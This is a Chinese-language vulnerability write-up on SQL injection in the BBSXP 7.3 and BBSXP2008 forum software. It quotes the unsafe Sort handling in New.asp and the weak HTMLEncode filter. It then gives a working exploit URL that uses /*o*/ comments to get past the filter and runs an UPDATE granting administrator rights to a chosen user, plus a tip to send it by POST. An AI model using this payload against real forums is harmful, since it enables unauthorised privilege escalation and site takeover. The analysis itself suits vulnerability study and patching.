受影响系统：

BBSXP7.3

BBSXP2008 漏洞文件：

New.asp 代码分析： Sort=HTMLEncode(Request("Sort")) //第24行 if Sort = empty then

SqlSort="ThreadID"

else

SqlSort=Sort

end if

。。。。。。

sql="Select top "&SqlTopicCount&" * from ["&TablePrefix&"Threads] where Visible=1 "&SqlForumID&" "&SqlTimeLimit&" order by "&SqlSort&" desc" //第66行 过滤函数HTMLEncode 在文件BBSXP_Class.asp中：

Function HTMLEncode(fString)

fString=Replace(fString,CHR(9),"")

fString=Replace(fString,CHR(13),"")

fString=Replace(fString,CHR(22),"")

fString=Replace(fString,CHR(38),"&") '“&”

fString=Replace(fString,CHR(32)," ") '“ ”

fString=Replace(fString,CHR(34),""") '“"”

fString=Replace(fString,CHR(39),"'") '“'”

fString=Replace(fString,CHR(42)&CHR(42),"**") '“**”/**/

fString=Replace(fString,CHR(44),",") '“,”

fString=Replace(fString,CHR(45)&CHR(45),"--") '“--”

fString=Replace(fString,CHR(60),"&#60;") '“<”

fString=Replace(fString,CHR(62),"&#62;") '“>”

fString=Replace(fString,CHR(92),"&#92;") '“”

fString=Replace(fString,CHR(59),"&#59;") '“;”

fString=Replace(fString,CHR(10),"<br>")

fString=ReplaceText(fString,"([&#])([a-z0-9]*)&#59;","$1$2;") if SiteConfig("BannedText")<>"" then fString=ReplaceText(fString,"("&SiteConfig("BannedText")&")",string(len("&$1&"),"*")) if IsSqlDataBase=0 then '过滤片假名(日文字符)[u30A0-u30FF] by yuzi

fString=escape(fString)

fString=ReplaceText(fString,"%u30([A-F][0-F])","&#x30$1;")

fString=unescape(fString)

end if HTMLEncode=fString

End Function

HTMLEncode过滤了Tab键，空格，** .

变量SqlSort过滤不严导致sql注入漏洞的产生。 漏洞测试：

http://localhost/bbsxp/new.asp?Sort=ThreadID/*o*/update/*o*/bbsxp_users/*o*/set/*o*/UserRoleID=1/*o*/where/*o*/Username=0x6C006F00760065006D006D006D00/*o*/select/*o*/*/*o*/from/*o*/BBSXP_users/*o*/order/*o*/by/*o*/userid

成功修改用户名为lovemmm为管理员。(最好使用POST提交呵呵)